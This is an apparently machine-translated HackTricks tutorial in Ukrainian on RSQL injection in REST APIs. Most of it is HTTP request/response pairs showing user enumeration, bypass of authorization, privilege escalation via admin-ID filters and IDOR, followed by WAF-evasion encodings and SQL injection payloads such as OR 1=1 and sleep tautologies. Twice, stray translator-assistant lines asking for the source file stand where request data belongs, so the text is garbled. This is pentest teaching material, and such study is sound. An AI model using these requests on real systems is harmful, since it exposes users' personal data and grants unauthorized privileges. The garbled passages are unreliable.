RSQL Injection

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Що таке RSQL?

RSQL — це мова запитів, призначена для параметризованої фільтрації вводу в RESTful APIs. Заснована на FIQL (Feed Item Query Language), спочатку описаній Mark Nottingham для запитів до Atom feeds, RSQL вирізняється простотою та здатністю виражати складні запити компактно й у відповідності з URI через HTTP. Це робить її відмінним вибором як загальної мови запитів для пошуку на REST-ендпойнтах.

Огляд

RSQL Injection — це вразливість у вебзастосунках, які використовують RSQL як мову запитів у RESTful APIs. Подібно до SQL Injection та LDAP Injection, ця вразливість виникає, коли фільтри RSQL не проходять належну санітизацію, що дозволяє атакуючому інжектувати шкідливі запити для отримання доступу, модифікації або видалення даних без авторизації.

Як це працює?

RSQL дозволяє будувати складні запити в RESTful APIs, наприклад:

/products?filter=price>100;category==electronics

Це перетворюється на структурований запит, який фільтрує продукти з ціною більше 100 і категорією “електроніка”.

Якщо додаток некоректно перевіряє введені користувачем дані, зловмисник може змінити фільтр, щоб виконати непередбачувані запити, наприклад:

/products?filter=id=in=(1,2,3);delete_all==true

Або навіть скористатися цим, щоб витягнути конфіденційну інформацію за допомогою булевих запитів або вкладених підзапитів.

Ризики

  • Розкриття конфіденційних даних: Атакуючий може отримати інформацію, яка не повинна бути доступною.
  • Зміна або видалення даних: Ін’єкція фільтрів, що змінюють записи в базі даних.
  • Ескалація привілеїв: Маніпуляція ідентифікаторами, які надають ролі через фільтри, щоб обдурити застосунок і отримати доступ з привілеями іншого користувача.
  • Ухилення від контролю доступу: Маніпуляція фільтрами для доступу до обмежених даних.
  • Імітація або IDOR: Зміна ідентифікаторів між користувачами через фільтри, що дозволяють доступ до інформації та ресурсів інших користувачів без належної автентифікації.

Supported RSQL operators

OperatorDescriptionExample
; / andЛогічний AND оператор. Фільтрує рядки, де обидві умови є істинними/api/v2/myTable?q=columnA==valueA;columnB==valueB
, / orЛогічний OR оператор. Фільтрує рядки, де принаймні одна умова є істинною/api/v2/myTable?q=columnA==valueA,columnB==valueB
==Виконує запит дорівнює. Повертає всі рядки з myTable, де значення в columnA точно дорівнюють queryValue/api/v2/myTable?q=columnA==queryValue
=q=Виконує search запит. Повертає всі рядки з myTable, де значення в columnA містять queryValue/api/v2/myTable?q=columnA=q=queryValue
=like=Виконує like запит. Повертає всі рядки з myTable, де значення в columnA схожі на queryValue/api/v2/myTable?q=columnA=like=queryValue
=in=Виконує in запит. Повертає всі рядки з myTable, де columnA містить valueA АБО valueB/api/v2/myTable?q=columnA=in=(valueA, valueB)
=out=Виконує exclude запит. Повертає всі рядки з myTable, де значення в columnA не є ні valueA, ні valueB/api/v2/myTable?q=columnA=out=(valueA,valueB)
!=Виконує запит не дорівнює. Повертає всі рядки з myTable, де значення в columnA не дорівнюють queryValue/api/v2/myTable?q=columnA!=queryValue
=notlike=Виконує not like запит. Повертає всі рядки з myTable, де значення в columnA не схожі на queryValue/api/v2/myTable?q=columnA=notlike=queryValue
< & =lt=Виконує запит менше ніж. Повертає всі рядки з myTable, де значення в columnA менші за queryValue/api/v2/myTable?q=columnA<queryValue
/api/v2/myTable?q=columnA=lt=queryValue
=le= & <=Виконує запит менше або дорівнює. Повертає всі рядки з myTable, де значення в columnA менші або дорівнюють queryValue/api/v2/myTable?q=columnA<=queryValue
/api/v2/myTable?q=columnA=le=queryValue
> & =gt=Виконує запит більше ніж. Повертає всі рядки з myTable, де значення в columnA більші за queryValue/api/v2/myTable?q=columnA>queryValue
/api/v2/myTable?q=columnA=gt=queryValue
>= & =ge=Виконує запит дорівнює або більше ніж. Повертає всі рядки з myTable, де значення в columnA дорівнюють або більше за queryValue/api/v2/myTable?q=columnA>=queryValue
/api/v2/myTable?q=columnA=ge=queryValue
=rng=Виконує запит від‑до. Повертає всі рядки з myTable, де значення в columnA більше або дорівнюють fromValue, і менші або дорівнюють toValue/api/v2/myTable?q=columnA=rng=(fromValue,toValue)

Примітка: Таблиця заснована на інформації з MOLGENIS та rsql-parser applications.

Приклади

  • name==“Kill Bill”;year=gt=2003
  • name==“Kill Bill” and year>2003
  • genres=in=(sci-fi,action);(director==‘Christopher Nolan’,actor==*Bale);year=ge=2000
  • genres=in=(sci-fi,action) and (director==‘Christopher Nolan’ or actor==*Bale) and year>=2000
  • director.lastName==Nolan;year=ge=2000;year=lt=2010
  • director.lastName==Nolan and year>=2000 and year<2010
  • genres=in=(sci-fi,action);genres=out=(romance,animated,horror),director==Que*Tarantino
  • genres=in=(sci-fi,action) and genres=out=(romance,animated,horror) or director==Que*Tarantino

Примітка: Таблиця заснована на інформації з rsql-parser application.

Поширені фільтри

Ці фільтри допомагають уточнювати запити в API:

FilterDescriptionExample
filter[users]Фільтрує результати за певними користувачами/api/v2/myTable?filter[users]=123
filter[status]Фільтрує за статусом (active/inactive, completed тощо)/api/v2/orders?filter[status]=active
filter[date]Фільтрує результати в межах діапазону дат/api/v2/logs?filter[date]=gte:2024-01-01
filter[category]Фільтрує за категорією або типом ресурсу/api/v2/products?filter[category]=electronics
filter[id]Фільтрує за унікальним ідентифікатором/api/v2/posts?filter[id]=42

Поширені параметри

Ці параметри допомагають оптимізувати відповіді API:

ParameterDescriptionExample
includeВключає пов’язані ресурси у відповідь/api/v2/orders?include=customer,items
sortСортує результати в порядку зростання або спадання/api/v2/users?sort=-created_at
page[size]Керує кількістю результатів на сторінку/api/v2/products?page[size]=10
page[number]Вказує номер сторінки/api/v2/products?page[number]=2
fields[resource]Визначає, які поля повертати у відповіді/api/v2/users?fields[users]=id,name,email
searchВиконує більш гнучкий пошук/api/v2/posts?search=technology

Витік інформації та перерахування користувачів

Наведений нижче запит показує endpoint реєстрації, який вимагає параметра email, щоб перевірити, чи існує користувач з цією електронною поштою, і повертає true або false залежно від того, чи існує запис у базі даних:

Запит

GET /api/registrations HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Будь ласка, надішліть вміст файлу src/pentesting-web/rsql-injection.md, який потрібно перекласти, і я перекладу його українською, зберігаючи всю Markdown/HTML розмітку і вказані виключення.

HTTP/1.1 400
Date: Sat, 22 Mar 2025 14:47:14 GMT
Content-Type: application/vnd.api+json
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
Content-Length: 85

{
"errors": [{
"code": "BLANK",
"detail": "Missing required param: email",
"status": "400"
}]
}

Хоча очікується виклик /api/registrations?email=<emailAccount>, можливо використати RSQL-фільтри, щоб спробувати перебрати та/або витягти інформацію про користувачів за допомогою спеціальних операторів:

Request

GET /api/registrations?filter[userAccounts]=email=='test@test.com' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://locahost:3000
Connection: keep-alive
Referer: https://locahost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Відповідь

HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:09:38 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 38
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": {
"attributes": {
"tenants": []
}
}
}

У випадку співпадіння дійсного облікового запису електронної пошти, застосунок поверне інформацію користувача замість класичного “true”, “1” чи іншого значення у відповіді сервера:

Request

GET /api/registrations?filter[userAccounts]=email=='manuel**********@domain.local' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Відповідь

HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:19:46 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 293
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": {
"id": "********************",
"type": "UserAccountDTO",
"attributes": {
"id": "********************",
"type": "UserAccountDTO",
"email": "manuel**********@domain.local",
"sub": "*********************",
"status": "ACTIVE",
"tenants": [{
"id": "1"
}]
}
}
}

Authorization evasion

У цьому сценарії ми починаємо з користувача з базовою роллю, у якого немає привілей (наприклад, адміністратор) для доступу до списку всіх користувачів, зареєстрованих у базі даних:

Запит

GET /api/users HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Response

HTTP/1.1 403
Date: Sat, 22 Mar 2025 14:40:07 GMT
Content-Length: 0
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

Знову ми використовуємо фільтри та спеціальні оператори, які дозволяють отримати інформацію про користувачів альтернативним способом та обходити контроль доступу. Наприклад, відфільтруйте тих користувачів, у ID яких міститься літера “a”:

Запит

GET /api/users?filter[users]=id=in=(*a*) HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Відповідь

HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:43:28 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 1434192
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"id": "********A***********",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "************",
"email": "**********@domain.local",
"firstName": "rafael",
"surname": "************",
"telephoneCountryCode": "**",
"mobilePhone": "*********",
"taxIdentifier": "********",
"languageId": 1,
"createdAt": "2024-08-09T10:57:41.237Z",
"termsOfUseAccepted": true,
"id": "******************",
"type": "UserGetResponseCustomDTO"
}
}, {
"id": "*A*******A*****A*******A******",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": ""************",
"email": "juan*******@domain.local",
"firstName": "juan",
"surname": ""************",",
"telephoneCountryCode": "**",
"mobilePhone": "************",
"taxIdentifier": "************",
"languageId": 1,
"createdAt": "2024-07-18T06:07:37.68Z",
"termsOfUseAccepted": true,
"id": "*******************",
"type": "UserGetResponseCustomDTO"
}
}, {
................

Privilege Escalation

Дуже ймовірно знайти певні endpoints, які перевіряють привілеї користувача за його роллю. Наприклад, ми маємо справу з користувачем, який не має привілеїв:

Запит

GET /api/companyUsers?include=role HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb......
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Відповідь

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:08 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 11
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": []
}

За допомогою певних операторів ми могли перелічити адміністраторів:

Request

GET /api/companyUsers?include=role&filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJh.....
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Відповідь

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:45 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 361
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"type": "CompanyUserGetResponseDTO",
"attributes": {
"companyId": "FA**************",
"companyTaxIdentifier": "B999*******",
"bizName": "company sl",
"email": "jose*******@domain.local",
"userRole": {
"userRoleId": 1,
"userRoleKey": "general.roles.admin"
},
"companyCountryTranslationKey": "*******",
"type": "CompanyUserGetResponseDTO"
}
}]
}

Після того, як стає відомим ідентифікатор адміністратора, можна виконати ескалацію привілеїв, замінивши або додавши відповідний фільтр з цим ідентифікатором і отримавши ті ж привілеї:

Запит

GET /api/functionalities/allPermissionsFunctionalities?filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ.....
Origin: https:/localhost:3000
Connection: keep-alive
Referer: https:/localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Відповідь

HTTP/1.1 200
Date: Sat, 22 Mar 2025 18:53:00 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 68833
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"meta": {
"Functionalities": [{
"functionalityId": 1,
"permissionId": 1,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.userProfile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 2,
"permissionId": 2,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.my_profile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 3,
"permissionId": 3,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "layout.change_user_data",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 4,
"permissionId": 4,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.configuration",
"type": "FunctionalityPermissionDTO"
}, {
....
}]
}
}

Impersonate or Insecure Direct Object References (IDOR)

Окрім використання параметра filter, можна використовувати інші параметри, такі як include, що дозволяє включати в результат певні поля (наприклад language, country, password…).

У наведеному прикладі показано інформацію нашого профілю користувача:

Запит

GET /api/users?include=language,country HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ...
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Будь ласка, вставте вміст файлу src/pentesting-web/rsql-injection.md, який потрібно перекласти. Я збережу всі markdown/html теги, посилання, шляхи та не перекладу код, назви технік і загальні хакерські терміни.

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:47:27 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 540
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"id": "D5********************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "**********",
"email": "domingo....@domain.local",
"firstName": "Domingo",
"surname": "**********",
"telephoneCountryCode": "**",
"mobilePhone": "******",
"languageId": 1,
"createdAt": "2024-03-11T07:24:57.627Z",
"termsOfUseAccepted": true,
"howMeetUs": "**************",
"id": "D5********************",
"type": "UserGetResponseCustomDTO"
}
}]
}

Комбінація фільтрів може використовуватися для обходу контролю авторизації та отримання доступу до профілів інших користувачів:

Запит

GET /api/users?include=language,country&filter[users]=id=='94***************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ...
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Відповідь

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:50:07 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 520
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"id": "94******************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 2,
"translationKey": "**************",
"email": "jose******@domain.local",
"firstName": "jose",
"surname": "***************",
"telephoneCountryCode": "**",
"mobilePhone": "********",
"taxIdentifier": "*********",
"languageId": 1,
"createdAt": "2024-11-21T08:29:05.833Z",
"termsOfUseAccepted": true,
"id": "94******************",
"type": "UserGetResponseCustomDTO"
}
}]
}

Виявлення та fuzzing — швидкі результати

  • Перевіряйте підтримку RSQL, відправляючи нешкідливі проби, наприклад ?filter=id==test, ?q==test або пошкоджені оператори =foo=; детальні API часто leak parser errors (“Unknown operator” / “Unknown property”).
  • Багато реалізацій двічі розбирають URL-параметри; спробуйте подвійне кодування (, ), *, ; (наприклад, %2528admin%2529) щоб обійти наївні blocklists і WAFs.
  • Булева ексфільтрація з wildcards: filter[users]=email==*%@example.com;status==ACTIVE і змінюйте логіку через , (OR), щоб порівнювати розміри відповідей.
  • Range/proximity leaks: filter[users]=createdAt=rng=(2024-01-01,2025-01-01) швидко перераховує по роках без знання точних ID.

Фреймворк-специфічні зловживання (Elide / JPA Specification / JSON:API)

  • Elide та багато проєктів Spring Data REST переводять RSQL безпосередньо в JPA Criteria. Якщо розробники додають кастомні оператори (наприклад, =ilike=) і будують предикати конкатенацією рядків замість параметризованих запитів, можна ескалувати до SQLi (класичний payload: name=ilike='%%' OR 1=1--').
  • Аналітичне сховище Elide приймає параметризовані колонки; поєднання керованих користувачем аналітичних параметрів з RSQL-фільтрами стало причиною SQLi в CVE-2022-24827. Навіть якщо виправлені версії параметризують правильно, подібний індивідуальний код часто лишається — шукайте SpEL-вирази @JoinFilter/@ReadPermission, що містять ${} і пробуйте інжектити ';sleep(5);' або логічні тавтології.
  • JSON:API бекенди зазвичай експонують і include, і filter. Фільтрація по пов’язаних ресурсах filter[orders]=customer.email==*admin* може обійти верхньорівневі ACLs, бо фільтри на рівні зв’язків виконуються перед перевірками власності.

Допоміжні інструменти для автоматизації

  • rsql-parser CLI (Java): java -jar rsql-parser.jar "name=='*admin*';status==ACTIVE" валідовує payload локально та показує абстрактне синтаксичне дерево — корисно для складання збалансованих дужок і кастомних операторів.
  • Python quick builder:
from pyrsql import RSQL
payload = RSQL().and_("email==*admin*", "status==ACTIVE").or_("role=in=(owner,admin)")
print(str(payload))
  • Поєднуйте з HTTP fuzzer (ffuf, turbo-intruder), перебираючи позиції підстановки *a*, *e* тощо всередині списків =in=, щоб швидко перелічити IDs і emails.

Посилання

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks